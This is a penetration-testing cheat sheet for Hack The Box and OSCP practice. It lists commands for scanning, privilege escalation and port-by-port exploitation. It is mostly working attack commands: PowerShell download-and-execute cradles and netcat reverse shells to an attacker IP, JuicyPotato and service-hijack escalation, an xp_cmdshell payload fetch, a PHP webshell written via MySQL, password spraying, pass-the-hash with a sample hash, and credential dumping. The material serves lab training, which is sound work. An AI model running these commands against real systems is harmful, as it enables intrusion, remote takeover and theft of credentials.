Useful Commands for HTB/OSCP

Website: https://IslandDog.ky Last Update: 08/16/23

Recent Changes: Changes to multiple sections pulled from my Obsidian.

Useful Links

https://exploit-notes.hdks.org/

https://book.hacktricks.xyz/

https://ppn.snovvcrash.rocks/

https://github.com/swisskyrepo/PayloadsAllTheThings

https://gtfobins.github.io/

https://lolbas-project.github.io/#

https://weibell.github.io/reverse-shell-generator/

https://crackstation.net/

https://gchq.github.io/CyberChef/

RustScan - #rustscan

#Intial
rustscan -a '' 
xsltproc scan -o intial-${PWD##*/}.html
#AllPorts
sudo nmap -sC -sV -T4 -v -p- --script 'default,vuln' -oX scan-all $ip && xsltproc scan-all -o ${PWD##*/}-allports.html
#UDP
sudo nmap -sU -sV --version-intensity 0 -F -n $ip -oX ${PWD##*/}-udp

Reverse Shell #OneLiners

Go from memory or generate it from one of the many sites: https://github.com/0dayCTF/reverse-shell-generator https://weibell.github.io/reverse-shell-generator/

TTY SHELLS #tty

#ConPtyShell
stty raw -echo; (stty size; cat) | nc -lvnp 9001
#Others
pwncat-cs -lp 9001
back
export SHELL=bash
export TERM=xterm OR export TERM=xterm-256color

OnTheBox

#tty_python
python -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
#tty_bash
echo os.system('/bin/bash')
#tty_sh
/bin/bash -i
#tty_perl
perl -e 'exec "/bin/bash"'
#tty_ruby
exec "/bin/bash"
#tty_lua
os.execute('/bin/bash')}

File Uploading/Downloading #Windows #PowerShell #WGET #SMB

Use pwncat or evil-winrm as your preferred shell when possible!

#https://github.com/egre55/ultimate-file-transfer-list
#PowerShell Related
powershell IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.1/webshells/Invoke-PowerShellTcp.ps1')
powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://10.0.0.1/', '<DESTINATION_FILE>')
powershell "wget http://10.0.0.1/"
#Requires wget.vbs file
cscript wget.vbs http://10.0.0.1/file.exe FILEYOUNEED
sudo smbserver.py -comment 'Transfer' smb smb
#Use alongside curl/wget
sudo python3 -m http.server 80
#Windows based
certutil.exe -urlcache -split -f "http://10.0.0.1/privesc/Powerless.bat" Powerless.bat
scp <SOURCE_FILE> <USER>@${PWD##*/}:<DESTINATION_FILE>

PrivEsc Tools Windows #PrivEsc #LinPEAS #WinPEAS #Powerless

winPEAS.bat/exe
Seatbelt.exe -group=all
powershell -exec bypass -command "& { Import-Module .\PowerUp.ps1; Invoke-AllChecks; }"
Powerless.bat
accesschk.exe /accepteula -uwcqv "Authenticated Users" *

PrivEsc Linux #PrivEsc #Linux #sudo #ssh

#Mainly for CTFs
sudo -l
#See Full Hostname (useful if coming in from a low shell)
cat /proc/version || uname -a
cat /etc/os-release
#Check other networks running on the box
ifconfig
#Kernel Exploits #OS Exploits #Writable files owned by root that get executed (cronjobs)
python suid3num.py
#Password reuse (mysql, .bash_history, 000- default.conf...)
./LinEnum.sh -s -r report -e /tmp/ -t
./linpeas.sh -a -e -P 'SUDOPWIFYOUHAVEIT'
pspy

Updating with commands/references.

Known binaries with suid flag and interactive (nmap)
Custom binaries with suid flag either using other binaries or with command execution
MySQL as root
Vulnerable services (chkrootkit, logrotate)
Writable /etc/passwd
Readable .bash_history
SSH private key
Listening ports on localhost
/etc/fstab
/etc/exports
/var/mail
Process as other user (root) executing something you have permissions to modify
SSH public key + Predictable PRNG
apt update hooking (PreInvoke)

PrivEsc Windows

CHECK FOR ACTIVE CVEs

whoami /all
sysinfo

#SeImpersonate #SeAssignPrimaryToken #JuicyPotato #RottenPotato #LonelyPotato #HotPotato #RoguePotato #PrintSpoofter SeImpersonate/SeAssignPrimaryToken - If the user has SeImpersonate or SeAssignPrimaryToken privileges then you are SYSTEM. Review the different Potatoes.

If the machine is -

Windows 10 1809 & Windows Server 2019 - Rogue Potato. Windows 10 1809 < Windows Server 2019 - Juicy Potato. Windows Server 2019 - PrintSpoofer

https://github.com/itm4n/PrintSpoofer

JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c nc.exe 10.0.0.1 1234 -e c:\windows\system32\cmd.exe" -t *
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c nc.exe 10.0.0.1 1234 -e c:\windows\system32\cmd.exe" -t * -c <CLSID>

#CLSID https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md

#Autorun - To execute it with elevated privileges we need to wait for someone in the Admin group to login.

cd C:\Program Files\Autorun Program\
powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://10.0.0.1/shells/win-1234.exe', '.\win-1234.exe')

#AlwaysInstallElevated

powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://10.0.0.1/shell-1234.msi', 'C:\Temp\shell-1234.msi')
msiexec /quiet /qn /i C:\Temp\shell-1234.msi

#ExecutableFiles

powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://10.0.0.1/win-1234.exe', 'C:\Temp\win-1234.exe')
copy /y c:\Temp\win-1234.exe "C:\Program Files\File Permissions Service\filepermservice.exe"
sc start filepermsvc

#WeakServicePermission

accesschk.exe /accepteula -uwcqv "Authenticated Users" *
powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://10.0.0.1/nc.exe', '.\nc.exe') #Grab Windows Binary
sc config <SERVICENAME> binpath= "<PATH>\nc.exe 10.0.0.1 1234 -e cmd.exe"
sc start <SERVICENAME>
or 
net start <SERVICENAME>

#UnquotedServicePaths

cd "C:\Program Files\Unquoted Path Service\"
powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://10.0.0.1/Common.exe', '.\Common.exe')
sc start unquotedsvc

#Startup

cd "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://10.0.0.1/win-1234.exe', '.\win-1234.exe')

PORTS

21 #FTP

#Anonymous logins
ftp $ip
nmap --script=ftp-anon,ftp-bounce,ftp-libopie,ftp-proftpd-backdoor,ftp-vsftpd-backdoor,ftp-vuln-cve2010-4221,tftp-enum -p 21 $ip

22 #SSH

Normally for user/root access on CTF but check version available for exploits.

53 #DNS

dig version.bind CHAOS TXT @$ip
dig $ip -x $ip
dnsenum $ip
dnsrecon -d $ip
dnsrecon -d $ip -a
dig $ip @IP axfr

79 #FINGER

finger @$ip
finger <USER>@$ip
finger "|/bin/id@$ip
finger "|/bin/ls -a /$ip"

80/8080/443 #HTTP

#Visual

Always intercept a request with Burp suite and check headers.

curl -I $ip

#Always view the source for external resources or scripts.
#Check forms/links to see if they are valid/calling out.

#DirectoryScan #FeroxBuster #HostScan #Logins

#FeroxBuster requires my config or additional flags for threads/etc. Remember to tweak config depending on use case.
#Use Raft - Words/Files/Directories.
feroxbuster -u $ip -e -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt
ffuf -b 'PHPSESSID=kn7hggb0pkp4nn9oin2dfs9mcu' -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt  -u 'https://website.htb/admin/?FUZZ'
#-p on nikto for specific ports.
# -useproxy for Burp/Squid intercepts.
nikto -host $ip -C all -o nikto-scan.html

#sub-domain #domains

gobuster vhost -u '' -w /opt/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t 50
gobuster dns -d 'domain.htb' -w /opt/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t 50
ffuf -w /opt/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u 'domain.htb' -H "Host: FUZZ.domain.htb"

#SQL

# --force-ssl flag for SSL bypass
sqlmap --wizard --dump-all
#Grab the Request from Burp for Login/Form Req
sqlmap -r req --os-pwn
#Use OS-Shell alongside a Bash One-liner for a more stable shell.
sqlmap -r req --os-shell
#Specify specific databases/tables
sqlmap -r req --force-ssl -D DATABASE -T TABLE --batch -C rows,rows,rows --dump

#IIS

#Use with ffuf to bruteforce directors
msf6 auxiliary(scanner/http/iis_shortname_scanner)
/opt/SecLists/Discovery/Web-Content/IIS.fuzz.txt

#WordPress

#Can also be used for password sprays
wpscan --url $ip --enumerate ap,at,tt,cb,dbe,u,m

#webdav

cadaver http://domain.htb:8080/webdav/

#ShellShock

#Outdated
git clone https://github.com/nccgroup/shocker; cd shocker; ./shocker.py -H ${PWD##*/}  --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose;  ./shocker.py -H ${PWD##*/} --command "/bin/cat /etc/passwd" -c /cgi-bin/admin.cgi --verbose

#CGI - Specific

ffuf -w /opt/SecLists/Discovery/Web-Content/CGI-XPlatform.fuzz.txt -u http://domain.htb/ccgi-bin/FUZZ -t 50
ffuf -w /opt/SecLists/Discovery/Web-Content/CGIs.txt -u http://domain.htb/ccgi-bin/FUZZ -t 50
ffuf -w /opt/SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u http://domain.htb/cgi-bin/FUZZ -e .sh,.pl,.cgi -t 100

#TOMCAT - Upload payload

Tomcat6:

wget 'http://<USER>:<PASSWORD>@${PWD##*/}:8080/manager/deploy?war=file:shell.war&path=/shell' -O -

Tomcat7/Above:

curl -v -u <USER>:<PASSWORD> -T shell.war 'http://${PWD##*/}:8080/manager/text/deploy?path=/shellh&update=true'

#Then execute the payload
curl http://${PWD##*/}:8080/shell/

#GIT

#Grab both from GitHub
./gitdumper.sh http://${PWD##*/}/ git
./extractor.sh git git-extracted

#LFI/RFI - LoginForms - #SecLists Generic-SQLi.txt mongodb_nosql.txt

#Intercept a request with Burp and use ffuf to poke at the username/password. Change request Content-Type to application/json and try noSQL bypass.
#https://raw.githubusercontent.com/carlospolop/Auto_Wordlists/main/wordlists
#/opt/SecLists/Fuzzing/LFI/LFI-LFISuite-pathtotest-huge.txt
ffuf -b 'PHPSESSID=kn7hggb0pkp4nn9oin2dfs9mcu' -w /opt/seclists/Fuzzing/LFI/LFI-Jhaddix.txt   -u 'https://website.htb/admin/?parameter=FUZZ'

#ImageUpload PayloadsAllTheThings - Malicious Images

110 (JOHN/MAIL) #POP3

telnet 10.10.10.51 110
USER mindy
PASS mindy
list
retr 1

135 #RPC

rpcinfo -p ${PWD##*/}

139/445 - smb://[putinip]/#SMB

#smbclient - Start here

smbclient -N -L $ip
smbclient //$ip/ShareName
\\\\$ip\\c$
enum4linux -a -k none $ip

#crackmapexec #password_spray

crackmapexec smb $ip -u 'tyler' -p '92g!mA8BGjOirkL%OG*&' --shares
crackmapexec smb $ip -u users.txt -p passwords.txt --shares --continue-on-success
medusa -h $ip -u userhere -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt -M smbnt
winexe -U username //$ip "cmd.exe" --system

#mounting-shares

mount -t cifs '//$ip/new-site' smb -v -o user=tyler
umount smb

#SMB - Shells via Impacket

psexec.py <DOMAIN>/<USER>:<PASSWORD>@$ip
wmiexec.py <DOMAIN>/<USER>:<PASSWORD>@$ip
smbexec.py <DOMAIN>/<USER>:<PASSWORD>@$ip
atexec.py <DOMAIN>/<USER>:<PASSWORD>@$ip <COMMAND>

#PTH - Pass the Hash

impacket-psexec -k Intelligence.htb/[email protected] -no-pass
wmiexec.py <DOMAIN>/<USER>@${PWD##*/} -hashes :<NTHASH>
smbexec.py <DOMAIN>/<USER>@${PWD##*/} -hashes :<NTHASH>
atexec.py <DOMAIN>/<USER>@${PWD##*/} -hashes :<NTHASH>
pth-winexe -U username/Administrator%aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00 //${PWD##*/} cmd

161/162 #SNMP

snmp-check -c public $ip
onesixtyone -c /usr/share/wordlist/SecLists/Discovery/SNMP/common-snmp-community-strings-onesixtyone.txt $ip

389/636/3268/3269 #LDAP

sudo nmap 7sV -p389 $ip
rpcclient -U '' -N $ip
enumdomusers
enumdomgroups
./kerbrute_linux_amd64 passwordspray --dc $ip -d domain.htb user_file "PasssWord"
/opt/kerbrute/kerbrute_linux_amd64 userenum --dc $ip -d domain.htb /opt/seclists/Usernames/top-usernames-shortlist.txt
ldapsearch -D "cn=admin,dc=acme,dc=com" "(objectClass=*)" -w ldapadmin -h $ip
ldapsearch -h $ip -p 389 -x -b "dc=megacorp,dc=local"
ldapsearch -h $ip -x -s base namingcontexts
ldapsearch -h $ip -x -s sub -b "DC=megacorp,DC=local" |tee ldap.out && cat ldap.out |grep -i memberof
impacket-GetUserSPNs domain.htb/user.name -dc-ip '$ip' -no-pass -request -outputfile hash

1433 #MSSQL

Enumeration

nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 ${PWD##*/}

Login #Impacket and Cracking #hydra -

mssqlclient.py -windows-auth <DOMAIN>/<USER>:<PASSWORD>@${PWD##*/}
mssqlclient.py <USER>:<PASSWORD>@${PWD##*/}
hydra -L users -P passwords ${PWD##*/} mssql -vV -I -u

Once logged in you can run queries:

SQL> select @@ version;

Try to enable code execution #xp_cmdshell -

SQL> enable_xp_cmdshell
SQL> xp_cmdshell whoami /all
SQL> xp_cmdshell "powershell -c IEX(New-Object System.Net.WebClient).DownloadString(\"http://10.0.0.1/www/webshells/Invoke-
PowerShellTcp.ps1\")

Steal the NTLM hash with responder, crack it with john or hashcat -

sudo smbserver.py -smb2support smb .
SQL> exec master..xp_dirtree '\\10.0.0.1\smb\'

1521 #Oracle

python3 odat.py all -s $ip -p 1521
mv ../www/shells/x64/rev-1234.exe .
python3 odat.py utlfile -s $ip -p 1521 -U scott -P tiger -d XE --sysdba --putFile c:/ rev-1234.exe rev-1234.exe
python3 odat.py externaltable -s $ip -p 1521 -U scott -P tiger -d XE --sysdba --exec c:/ rev-1234.exe

2049 #NFS

showmount -e $ip
nmap --script=nfs-showmount $ip
sudo mount -v -t nfs $ip:<SHARE> <DIRECTORY>
sudo mount -v -t nfs -o vers=2 $ip:<SHARE> <DIRECTORY>

3306 #MySQL

nmap -sV -Pn -vv --script=mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 ${PWD##*/} -p 3306
hydra -L users -P passwords ${PWD##*/} mysql -vV -I -u
mysql -u <USER>
mysql -h ${PWD##*/} -u <USER> -p
connect [database]
use database;
show tables;
select * from [table name]

Try to execute code

select do_system('id');
\! sh
#Read&Write
select load_file('<FILE>');
select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE '<OUT_FILE>'

3389 #RDP

rdesktop -u guest -p guest $ip -g 94%
rdesktop -d <DOMAIN> -u <USERNAME> -p <PASSWORD> $ip
xfreerdp /u:[DOMAIN\]<USERNAME> /p:<PASSWORD> /v:$ip
xfreerdp /u:[DOMAIN\]<USERNAME> /pth:<HASH> /v:$ip
ncrack -vv --user Username -P /usr/share/wordlists/rockyou.txt rdp://$ip

5800/58001/5900/5901 #VNC

nmap -sV --script vnc-info,realvnc-auth-bypass,vnc-title -v -p 5800,58001,5900,5901 ${PWD##*/}
Linux - Default password is stored in: ~/.vnc/passwd
Windows -
HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\vncserver
HKEY_CURRENT_USER\Software\TightVNC\Server
HKEY_LOCAL_USER\Software\TigerVNC\WinVNC4
C:\Program Files\UltraVNC\ultravnc.ini

5985/5986 #WinRM

crackmapexec winrm ${PWD##*/} -u users -p passwords
evil-winrm -i ${PWD##*/} -u <USER> -p <PASSWORD>
evil-winrm -i ${PWD##*/} -u <USER> -H <HASH>

Misc

#PortForwarding

wget http://10.10.14.4/chisel.exe -o C:/downloads/crx/chisel.exe
#OnVictim - AttackIP:ChiselPort R:ReversePort:127.0.0.1:ReversePort
.\chisel client 10.10.14.4:9002 R:1433:127.0.0.1:1433
#OnAttacker
chisel server --reverse --port 9002

#Windows #ReverseShells

cp /usr/share/windows-resources/binaries/nc.exe .
nc.exe -e cmd 10.0.0.1 1234
powershell IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.1/webshells/Invoke-PowerShellTcp.ps1')

#RestrictedEnvironments https://www.exploit-db.com/docs/english/44592-linux-restricted-shell-bypass-guide.pdf

export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

#PasswordDump - Review other article

secretsdump.py -sam sam.hive -system system.hive -security security.hive -ntds ntds.dit LOCAL

#Bruteforce

#Username Bruteforce on HTTP Form - Requires Error Code 'Invalid Credentials'
hydra -L /opt/seclists/Usernames/cirt-default-usernames.txt -p password -s 5000 10.10.10.10 http-form-post "/login:username=^USER^&password=^PASS^:Invalid credentials"

#Firefox

python3 firefox_decrypt.py br53rxeg.default-release

#BloodHound

bloodhound-python -u UserName -p "PassWord" -ns 10.10.11.158 -d domain.htb -c all
sudo neo4j start

IslandDog - Christopher Soehnlein 2023

https://IslandDog.ky